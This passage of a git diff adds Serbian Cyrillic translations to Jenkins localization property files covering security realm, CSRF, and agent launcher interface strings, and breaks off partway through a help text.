a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink_sr.properties index 35c26ea458..a98e2bb9c3 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink_sr.properties +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -sign\ up=\u043D\u0430\u043F\u0440\u0430\u0432\u0438 \u043D\u0430\u043B\u043E\u0433 +sign\ up=\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0430 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_sr.properties new file mode 100644 index 0000000000..13d517fbbc --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +Create\ User=\u041A\u0440\u0435\u0438\u0440\u0430\u0458 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signupWithFederatedIdentity_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signupWithFederatedIdentity_sr.properties new file mode 100644 index 0000000000..f1315accaf --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signupWithFederatedIdentity_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Sign\ up=\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0430 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signup_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signup_sr.properties new file mode 100644 index 0000000000..f1315accaf --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signup_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Sign\ up=\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0430 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/success_sr.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/success_sr.properties new file mode 100644 index 0000000000..e27a6feb92 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/success_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Success=\u0423\u0441\u043F\u0435\u0448\u043D\u043E +description=\u041F\u0440\u0438\u0458\u0430\u0432\u0459\u0435\u043D\u0438 \u0441\u0442\u0435. \u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u0433\u043B\u0430\u0432\u043D\u043E\u0458 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438. diff --git a/core/src/main/resources/hudson/security/LegacySecurityRealm/config_sr.properties b/core/src/main/resources/hudson/security/LegacySecurityRealm/config_sr.properties new file mode 100644 index 0000000000..d76a921772 --- /dev/null +++ b/core/src/main/resources/hudson/security/LegacySecurityRealm/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Unprotected\ URLs=\u041D\u0435\u0437\u0430\u0448\u0442\u0438\u045B\u0435\u043D\u0435 URL \u0430\u0434\u0440\u0435\u0441\u0435 +blurb=\u041E\u0432\u043E\u0458 \u0430\u0434\u0440\u0435\u0441\u0438, \u043A\u0430\u043E \u0438 \u043E\u0441\u0442\u0430\u043B\u0438\u043C \u0441\u0430 \u0434\u043E\u0434\u0430\u0442\u043D\u043E\u0458 \u0446\u0440\u0442\u0438 "/" \u043D\u0430 \u043A\u0440\u0430\u0458\u0443, \u043D\u0438\u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0430\u0443\u0442\u0435\u043D\u0442\u0438\u043A\u0430\u0446\u0438\u0458\u0430. \u0410\u043A\u043E \u0458\u0435 \u0442\u043E \u043C\u043E\u0433\u0443\u045B\u0435, \u043D\u0430\u043C\u0435\u0441\u0442\u0438 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u0434\u0430 \u0434\u0438\u0440\u0435\u043A\u0442\u043D\u043E \u043F\u0440\u0435\u043D\u043E\u0441\u0438 \u0437\u0430\u0445\u0442\u0435\u0432\u0435 \u043D\u0430 Jenkins \u0431\u0435\u0437 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0435. diff --git a/core/src/main/resources/hudson/security/Messages_sr.properties b/core/src/main/resources/hudson/security/Messages_sr.properties new file mode 100644 index 0000000000..0e944f27fb --- /dev/null +++ b/core/src/main/resources/hudson/security/Messages_sr.properties @@ -0,0 +1,36 @@ +# This file is under the MIT License by authors + +GlobalSecurityConfiguration.DisplayName=\u0421\u0438\u0433\u0443\u0440\u043D\u043E\u0441\u043D\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +GlobalSecurityConfiguration.Description=\u041E\u0431\u0435\u0437\u0431\u0435\u0434\u0438 Jenkins \u2014 \u043A\u043E \u0438\u043C\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u0441\u0438\u0441\u0442\u0435\u043C\u0443. +HudsonPrivateSecurityRealm.WouldYouLikeToSignUp=\u041E\u0432\u0430\u0458 {0} {1} \u0458\u0435 \u043D\u043E\u0432\u043E Jenkins-\u0443. \u0414\u0430\u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0441\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443\u0458\u0435\u0442\u0435? +LegacyAuthorizationStrategy.DisplayName=\u0421\u0442\u0430\u0440\u0438 \u0440\u0435\u0436\u0438\u043C +HudsonPrivateSecurityRealm.DisplayName=\u0411\u0430\u0437\u0430 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430 \u0437\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0435 \u0443\u043D\u0443\u0442\u0430\u0440 Jenkins +HudsonPrivateSecurityRealm.Details.DisplayName=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +HudsonPrivateSecurityRealm.Details.PasswordError=\u041B\u043E\u0437\u0438\u043D\u043A\u0435 \u0441\u0435 \u043D\u0435 \u043F\u043E\u043A\u043B\u0430\u043F\u0430\u0458\u0443. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u0443\u043D\u0435\u0441\u0438\u0442\u0435 \u043F\u043E\u043D\u043E\u0432\u043E. +HudsonPrivateSecurityRealm.ManageUserLinks.DisplayName=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 +HudsonPrivateSecurityRealm.ManageUserLinks.Description=\ \u041A\u0440\u0435\u0438\u0440\u0430\u0458/\u0438\u0437\u0431\u0440\u0438\u0448\u0438/\u0443\u0440\u0435\u0434\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0435 \u0441\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u043E\u043C \u043D\u0430 Jenkins +HudsonPrivateSecurityRealm.CreateAccount.TextNotMatchWordInImage=\u0422\u0435\u043A\u0441\u0442 \u043D\u0435 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430 \u0440\u0435\u045B \u043F\u043E\u043A\u0430\u0437\u0430\u043D \u0441\u043B\u0438\u043A\u043E\u043C +HudsonPrivateSecurityRealm.CreateAccount.PasswordNotMatch=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 \u0441\u0435 \u043D\u0435 \u043F\u043E\u043A\u043B\u0430\u043F\u0430 +HudsonPrivateSecurityRealm.CreateAccount.PasswordRequired=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u0430 +HudsonPrivateSecurityRealm.CreateAccount.UserNameRequired=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u043E +HudsonPrivateSecurityRealm.CreateAccount.InvalidEmailAddress=\u041D\u0435\u0432\u0430\u0436\u0435\u045B\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u0435-\u043F\u043E\u0448\u0442\u0435 +HudsonPrivateSecurityRealm.CreateAccount.UserNameAlreadyTaken=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 \u0458\u0435 \u0432\u0435\u045B \u0437\u0430\u0443\u0437\u0435\u0442\u043E +FullControlOnceLoggedInAuthorizationStrategy.DisplayName=\u041F\u0440\u0438\u0458\u0430\u0432\u0459\u0435\u043D\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \u043C\u043E\u0433\u0443 \u0441\u0432\u0435 +AuthorizationStrategy.DisplayName=\u0421\u0432\u0438 \u043C\u043E\u0433\u0443 \u0441\u0432\u0435 +LDAPSecurityRealm.DisplayName=LDAP +LDAPSecurityRealm.SyntaxOfServerField=\u0428\u0430\u0431\u043B\u043E\u043D \u0441\u0435\u0440\u0432\u0435\u0440 \u043F\u043E\u0459\u0443 \u0458\u0435 \u0421\u0415\u0420\u0412\u0415\u0420 \u0438\u043B\u0438 \u0421\u0415\u0420\u0412\u0415\u0420:\u041F\u041E\u0420\u0422 or ldaps://\u0421\u0415\u0420\u0412\u0415\u0420[:\u041F\u041E\u0420\u0422] +LDAPSecurityRealm.UnknownHost=\u041D\u0435\u043F\u043E\u0437\u043D\u0430\u0442\u0438 \u0445\u043E\u0441\u0442: {0} +LDAPSecurityRealm.UnableToConnect=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0441\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u0442\u0438 \u043D\u0430 {0} : {1} +LDAPSecurityRealm.InvalidPortNumber=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u0430\u043D \u0431\u0440\u043E\u0458 \u043F\u043E\u0440\u0442\u0430 +LegacySecurityRealm.Displayname=\u0414\u0435\u043B\u0435\u0433\u0438\u0440\u0430\u0458 \u0441\u0435\u0440\u0432\u043B\u0435\u0442 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0443 +UserDetailsServiceProxy.UnableToQuery=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043F\u0440\u043E\u0458\u0430\u045B\u0438 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0443 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430: {0} +PAMSecurityRealm.DisplayName=\u0411\u0430\u0437\u0430 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430 \u043E \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430/\u0433\u0440\u0443\u043F\u0430 \u043D\u0430 Unix +PAMSecurityRealm.ReadPermission=Jenkins \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043E \u0434\u0430 \u0431\u0443\u0434\u0435 \u0443 \u0441\u0442\u0430\u045A\u0443 \u0434\u0430 \u0443\u0447\u0438\u0442\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443 "/etc/shadow". +PAMSecurityRealm.BelongToGroup={0} \u043C\u043E\u0440\u0430 \u043F\u0440\u0438\u043F\u0430\u0434\u0430\u0442\u0438 \u0433\u0440\u0443\u043F\u0438 {1} \u0434\u0430 \u0431\u0438 \u0443\u0447\u0438\u0442\u0430\u043E /etc/shadow +PAMSecurityRealm.RunAsUserOrBelongToGroupAndChmod=Jenkins \u0442\u0440\u0435\u0431\u0430 \u0431\u0438\u0442\u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442 \u043A\u0430\u043E {0} \u0438\u043B\u0438 {1} \u0442\u0440\u0435\u0431\u0430 \u043F\u0438\u0440\u0430\u0434\u0430\u0442\u0438 \u0433\u0440\u0443\u043F\u0438 {2} \u0438 \u2018chmod g+r /etc/shadow\u2019 \u0442\u0440\u0435\u0431\u0430 \u0431\u0438\u0442\u0438 \u0438\u0437\u0432\u0440\u0448\u0435\u043D\u043E \u0434\u0430 \u0431\u0438 Jenkins \u0443\u0447\u0438\u0442\u0430\u043E /etc/shadow +PAMSecurityRealm.Success=\u0423\u0441\u043F\u0435\u0448\u043D\u043E +PAMSecurityRealm.User=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u043A '{0}' +PAMSecurityRealm.Uid=\u0418\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u043E\u043D\u0438 \u0431\u0440\u043E\u0458 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430: {0} +PAMSecurityRealm.CurrentUser=\u0422\u0440\u0435\u043D\u0443\u0442\u043D\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A +Permission.Permissions.Title=\u041D/\u0414 +AccessDeniedException2.MissingPermission={0} \u0444\u0430\u043B\u0438 \u043E\u0432\u043B\u0430\u0448\u045B\u0435\u045A\u0435 {1} \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/SecurityRealm/loginLink_sr.properties b/core/src/main/resources/hudson/security/SecurityRealm/loginLink_sr.properties index d57edbe159..c7e7a1693e 100644 --- a/core/src/main/resources/hudson/security/SecurityRealm/loginLink_sr.properties +++ b/core/src/main/resources/hudson/security/SecurityRealm/loginLink_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -login=Prijavi se +login=\u041F\u0440\u0438\u0458\u0430\u0432\u0438 \u0441\u0435 diff --git a/core/src/main/resources/hudson/security/SecurityRealm/signup_sr.properties b/core/src/main/resources/hudson/security/SecurityRealm/signup_sr.properties new file mode 100644 index 0000000000..b84ffe86ae --- /dev/null +++ b/core/src/main/resources/hudson/security/SecurityRealm/signup_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Signup\ not\ supported=\u041F\u0440\u0438\u0458\u0430\u0432\u0430 \u043D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 +Sign\ up=\u041F\u0440\u0438\u0458\u0430\u0432\u0438 \u0441\u0435 +This\ is\ not\ supported\ in\ the\ current\ configuration.=\u041D\u0438\u0458\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u043D\u043E \u0437\u0430 \u0442\u0435\u043A\u0443\u045B\u0443 \u043A\u043E\u043D\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0458\u0443 diff --git a/core/src/main/resources/hudson/security/csrf/DefaultCrumbIssuer/config_sr.properties b/core/src/main/resources/hudson/security/csrf/DefaultCrumbIssuer/config_sr.properties new file mode 100644 index 0000000000..28f532fc9e --- /dev/null +++ b/core/src/main/resources/hudson/security/csrf/DefaultCrumbIssuer/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Enable\ proxy\ compatibility=\u041E\u043C\u043E\u0433\u0443\u045B\u0438 \u043A\u043E\u043C\u043F\u0430\u0442\u0438\u0431\u0438\u043B\u0438\u043D\u043E\u0441\u0442 proxy-\u0430 diff --git a/core/src/main/resources/hudson/security/csrf/GlobalCrumbIssuerConfiguration/config_sr.properties b/core/src/main/resources/hudson/security/csrf/GlobalCrumbIssuerConfiguration/config_sr.properties new file mode 100644 index 0000000000..e81a8855ea --- /dev/null +++ b/core/src/main/resources/hudson/security/csrf/GlobalCrumbIssuerConfiguration/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Prevent\ Cross\ Site\ Request\ Forgery\ exploits=\u0421\u043F\u0440\u0435\u0447\u0438 Cross Site Request Forgery \u043F\u0440\u043E\u0432\u0430\u043B\u0435 +Crumbs=\u041C\u0440\u0432\u0438\u0446\u0435 +Crumb\ Algorithm=\u0410\u043B\u0433\u043E\u0440\u0438\u0442\u0430\u043C \u043C\u0440\u0432\u0438\u0446\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/security/csrf/Messages_sr.properties b/core/src/main/resources/hudson/security/csrf/Messages_sr.properties new file mode 100644 index 0000000000..b67ab3e3df --- /dev/null +++ b/core/src/main/resources/hudson/security/csrf/Messages_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +DefaultCrumbIssuer.DisplayName=\u0421\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438 \u0438\u0437\u0434\u0430\u0432\u0430\u0447 \u043C\u0440\u0432\u0438\u0446\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/slaves/CommandConnector/config_sr.properties b/core/src/main/resources/hudson/slaves/CommandConnector/config_sr.properties new file mode 100644 index 0000000000..67a16da6ab --- /dev/null +++ b/core/src/main/resources/hudson/slaves/CommandConnector/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Launch\ command=\u0418\u0437\u0432\u0440\u0448\u0438 \u043F\u0440\u043E\u0433\u0440\u0430\u043C \ No newline at end of file diff --git a/core/src/main/resources/hudson/slaves/CommandLauncher/config_sr.properties b/core/src/main/resources/hudson/slaves/CommandLauncher/config_sr.properties new file mode 100644 index 0000000000..f7053d115b --- /dev/null +++ b/core/src/main/resources/hudson/slaves/CommandLauncher/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Launch\ command=\u041A\u043E\u043C\u0430\u043D\u0434\u0430 \u0437\u0430 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 diff --git a/core/src/main/resources/hudson/slaves/CommandLauncher/help_sr.properties b/core/src/main/resources/hudson/slaves/CommandLauncher/help_sr.properties new file mode 100644 index 0000000000..1f0dde0773 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/CommandLauncher/help_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u041F\u043E\u043A\u0440\u0435\u043D\u0435 \u0430\u0433\u0435\u043D\u0442\u0430 \u0442\u0430\u043A\u043E \u0448\u0442\u043E Jenkins \u0438\u0437\u0432\u0440\u0448\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0443 \u0441\u0430 \u0433\u043B\u0430\u0432\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0435. \u041A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043E\u0432\u0443 \u043E\u043F\u0446\u0438\u0458\u0443 \u043A\u0430\u0434 \u0433\u043E\u0434 \u0433\u043B\u0430\u0432\u043D\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u0458\u0435 \u0443 \u0441\u0442\u0430\u045A\u0443 \u0434\u0430 \u0438\u0437\u0432\u0440\u0448\u0438 \u043F\u0440\u043E\u0446\u0435\u0441 \u043D\u0430 \u0434\u0440\u0443\u0433\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438, \u043D\u043F\u0440. \u043F\u0440\u0435\u043A\u043E SSH \u0438\u043B\u0438 RSH. diff --git a/core/src/main/resources/hudson/slaves/ComputerLauncher/main_sr.properties b/core/src/main/resources/hudson/slaves/ComputerLauncher/main_sr.properties new file mode 100644 index 0000000000..23f7fceb55 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/ComputerLauncher/main_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +launchingDescription=\u041E\u0432\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u0441\u0435 \u043F\u043E\u043A\u0440\u0435\u045B\u0435 +See\ log\ for\ more\ details=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0436\u0443\u0440\u043D\u0430\u043B \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430 +Relaunch\ agent=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 \u0430\u0433\u0435\u043D\u0442 +Launch\ agent=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u0430\u0433\u0435\u043D\u0442 +description=\u041E\u0432\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u045B\u0435 \u0431\u0438\u0442\u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0430. diff --git a/core/src/main/resources/hudson/slaves/DelegatingComputerLauncher/config_sr.properties b/core/src/main/resources/hudson/slaves/DelegatingComputerLauncher/config_sr.properties new file mode 100644 index 0000000000..147ac620f1 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/DelegatingComputerLauncher/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Actual\ launch\ method=\u041C\u0435\u0442\u043E\u0434 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 diff --git a/core/src/main/resources/hudson/slaves/DumbSlave/configure-entries_sr.properties b/core/src/main/resources/hudson/slaves/DumbSlave/configure-entries_sr.properties new file mode 100644 index 0000000000..080510945b --- /dev/null +++ b/core/src/main/resources/hudson/slaves/DumbSlave/configure-entries_sr.properties @@ -0,0 +1,18 @@ +# This file is under the MIT License by authors + +Description=\u041E\u043F\u0438\u0441 +\#\ of\ executors=\u0431\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 +Remote\ root\ directory=\u0423\u0434\u0430\u0459\u0435\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u043A\u043E\u0440\u0435\u043D\u0430 +Labels=\u041B\u0430\u0431\u0435\u043B\u0435 +Launch\ method=\u041C\u0435\u0442\u043E\u0434 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 +Availability=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u043E\u0441\u0442 +Node\ Properties=\u041F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 +Master=\u0413\u043B\u0430\u0432\u043D\u0430 +Name=\u0418\u043C\u0435 +This\ Jenkins\ server=\u041E\u0432\u0430 Jenkins \u043C\u0430\u0448\u0438\u043D\u0430 +Local\ FS\ root=\u041A\u043E\u0440\u0435\u043D \u043B\u043E\u043A\u0430\u043B\u043D\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 +Name\ is\ mandatory=\u0418\u043C\u0435 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u043E +Number\ of\ executors\ is\ mandatory.=\u0411\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u043E +Remote\ directory\ is\ mandatory.=\u0423\u0434\u0430\u0459\u0435\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u043A\u043E\u0440\u0435\u043D\u0430 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u043E +Usage=\u0423\u043F\u043E\u0442\u0440\u0435\u0431\u0430 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 diff --git a/core/src/main/resources/hudson/slaves/DumbSlave/newInstanceDetail_sr.properties b/core/src/main/resources/hudson/slaves/DumbSlave/newInstanceDetail_sr.properties new file mode 100644 index 0000000000..6b58ffb55f --- /dev/null +++ b/core/src/main/resources/hudson/slaves/DumbSlave/newInstanceDetail_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +detail=\ +\u0414\u043E\u0434\u0430 \u043E\u0431\u0438\u0447\u0430\u043D, \u0442\u0440\u0430\u0458\u043D\u0438 \u0430\u0433\u0435\u043D\u0442 Jenkins-\u0443. \u0422\u0440\u0430\u0458\u043D\u043E \u0458\u0435 \u0437\u0430\u0448\u0442\u043E \u043D\u0435\u0434\u0430\u0458\u0435 \u0432\u0435\u045B\u0438 \u043D\u0438\u0432\u043E \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0458\u0435 \u0441\u0430 \u043E\u0432\u0438\u043C \u0430\u0433\u0435\u043D\u0442\u0438\u043C\u0430, \u043A\u0430\u043E \u0434\u0438\u043D\u0430\u043C\u0438\u0447\u043D\u043E \u0441\u043D\u0430\u0431\u0434\u0435\u0432\u0430\u045A\u0435. \u0418\u0437\u0430\u0431\u0435\u0440\u0438\u0442\u0435 \u043E\u0432\u043E \u0430\u043A\u043E \u0434\u0440\u0443\u0433\u0435 \u0432\u0440\u0441\u0442\u0435 \u0430\u0433\u0435\u043D\u0430\u0442\u0430 \u043D\u0435 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430\u0458\u0443 — \u043D\u043F\u0440. \u043A\u0430\u0442 \u0434\u043E\u0434\u0430\u0458\u0435\u0442\u0435 \u0440\u0430\u0447\u0443\u043D\u0430\u0440 \u0438\u043B\u0438 \u0432\u0438\u0440\u0442\u0443\u0435\u043B\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \u0441\u043F\u043E\u0459\u043E\u043C Jenkins-\u0430. diff --git a/core/src/main/resources/hudson/slaves/EnvironmentVariablesNodeProperty/config_sr.properties b/core/src/main/resources/hudson/slaves/EnvironmentVariablesNodeProperty/config_sr.properties new file mode 100644 index 0000000000..a656ba685a --- /dev/null +++ b/core/src/main/resources/hudson/slaves/EnvironmentVariablesNodeProperty/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +List\ of\ variables=\u0421\u043F\u0438\u0441\u0430\u043A \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 +Name=\u0418\u043C\u0435 +Value=\u0412\u0440\u0435\u0434\u043D\u043E\u0441\u0442 diff --git a/core/src/main/resources/hudson/slaves/JNLPLauncher/config_sr.properties b/core/src/main/resources/hudson/slaves/JNLPLauncher/config_sr.properties new file mode 100644 index 0000000000..f33e2853a0 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/JNLPLauncher/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Tunnel\ connection\ through=\u041F\u043E\u0432\u0435\u0436\u0438 \u043F\u043E\u043C\u043E\u045B\u0435\u043C \u0442\u0443\u043D\u0435\u043B\u0430 +JVM\ options=JVM \u043E\u043F\u0446\u0438\u0458\u0435 diff --git a/core/src/main/resources/hudson/slaves/JNLPLauncher/help_sr.properties b/core/src/main/resources/hudson/slaves/JNLPLauncher/help_sr.properties new file mode 100644 index 0000000000..fba74a2438 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/JNLPLauncher/help_sr.properties @@ -0,0 +1,11 @@ +# This file is under the MIT License by authors + +blurb=\u041E\u043C\u043E\u0433\u0443\u045B\u0430\u0432\u0430 \u0434\u0430 \u0441\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0435 \u0430\u0433\u0435\u043D\u0442 \u043F\u0440\u0435\u043A\u043E Java Web Start.
                    \ + \u0423 \u0442\u043E\u043C \u0441\u043B\u0443\u0447\u0430\u0458\u0443, JNLP \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u043E\u0442\u0432\u043E\u0440\u0435\u043D\u0430 \u043D\u0430 \u043C\u0430\u0448\u0438\u043D\u0438 \u0430\u0433\u0435\u043D\u0442\u0430, \u043A\u043E\u0458\u0430 \u045B\u0435 \u0431\u0438\u0442\u0438 \ + \u043F\u043E\u0432\u0435\u0436\u0435\u043D\u0430 TCP \u0432\u0435\u0437\u043E\u043C \u043D\u0430 Jenkins \u043C\u0430\u0441\u0442\u0435\u0440.
                    \ + \u0410\u0433\u0435\u043D\u0442 \u043D\u0435 \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u0434\u043E\u0441\u0442\u0443\u043F\u0430\u043D \u043C\u0430\u0441\u0442\u0435\u0440\u043E\u043C; \u0430\u0433\u0435\u043D\u0442 \ + \u0458\u0435\u0434\u0438\u043D\u043E \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u0443 \u0441\u0442\u0430\u045A\u0443 \u0434\u0430 \u043D\u0430\u0452\u0435 \u043C\u0430\u0441\u0442\u0435\u0440\u0430. \u0410\u043A\u043E \u0441\u0442\u0435 \u043E\u043C\u043E\u0433\u0443\u045B\u0438\u043B\u0438 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u0438 \u0440\u0435\u0436\u0438\u043C \ + \u043D\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438 \u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u0442\u0438, \u043C\u043E\u0436\u0435\u0442\u0435 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 \u043F\u043E\u0440\u0442 \u043F\u0440\u0435\u043A\u043E \ + \u043A\u043E\u0458\u0435 \u045B\u0435 \u043C\u0430\u0441\u0442\u0435\u0440 Jenkins 